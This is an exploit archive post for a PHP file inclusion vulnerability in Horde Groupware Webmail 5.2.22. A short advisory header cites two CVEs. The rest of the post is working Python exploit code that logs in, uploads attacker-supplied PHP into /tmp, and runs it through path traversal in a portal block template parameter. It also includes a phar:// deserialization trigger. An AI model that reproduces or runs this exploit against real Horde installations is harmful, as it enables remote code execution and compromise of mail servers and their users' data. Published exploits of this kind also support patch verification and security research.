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Horde Groupware Webmail Edition 5.2.22 PHP File Inclusion

Horde Groupware Webmail Edition 5.2.22 PHP File Inclusion
Posted Mar 12, 2020
Authored by Andrea Cardaci

Horde Groupware Webmail Edition version 5.2.22 suffers from a PHP file inclusion vulnerability.

tags | exploit, php, file inclusion
advisories | CVE-2020-8865, CVE-2020-8866
MD5 | d2b595c8544f4d3d4cd3488e79c4933d

Horde Groupware Webmail Edition 5.2.22 PHP File Inclusion

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## exploit-inc-inclusion.py
#!/usr/bin/env python3
from horde import Horde
import subprocess
import sys

TEMP_DIR = '/tmp'

if len(sys.argv) < 5:
print('Usage: <base_url> <username> <password> <filename> <php_code>')
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

# log into the web application
horde = Horde(base_url, username, password)

# upload (delete manually) and evaluate the .inc file
horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
## exploit-inc-inclusion.py EOF



## horde.py
import re
import requests

class Horde():
def __init__(self, base_url, username, password):
self.base_url = base_url
self.username = username
self.password = password
self.session = requests.session()
self.token = None
self._login()

def _login(self):
url = '{}/login.php'.format(self.base_url)
data = {
'login_post': 1,
'horde_user': self.username,
'horde_pass': self.password
}
response = self.session.post(url, data=data)
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
assert (
len(response.history) == 1 and
response.history[0].status_code == 302 and
response.history[0].headers['location'] == '/services/portal/' and
token_match
), 'Cannot log in'
self.token = token_match.group(1)

def upload_to_tmp(self, filename, data):
url = '{}/turba/add.php'.format(self.base_url)
files = {
'object[photo][img][file]': (None, filename),
'object[photo][new]': ('x', data)
}
response = self.session.post(url, files=files)
assert response.status_code == 200, 'Cannot upload the file to tmp'

def include_remote_inc_file(self, path):
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
app = 'trean:trean_Block_Bookmarks'

# add one dummy bookmark (to be sure)
url = '{}/trean/add.php'.format(self.base_url)
data = {
'actionID': 'add_bookmark',
'url': 'x'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark'

# add bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark block'

# edit bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[template]': '../../../../../../../../../../../' + path
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the bookmark block'

# evaluate the remote file
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)
print(response.text)

# remove the bookmark block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the bookmark block'

def trigger_phar(self, path):
# vulnerable block (alternatively the same can be obtained by creating a
# bookmark with the PHAR path and clocking on it)
app = 'horde:horde_Block_Feed'

# add syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the syndicated feed block'

# edit syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[uri]': 'phar://{}'.format(path)
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the syndicated feed block'

# load the PHAR archive
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)

# remove the syndicated feed block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF
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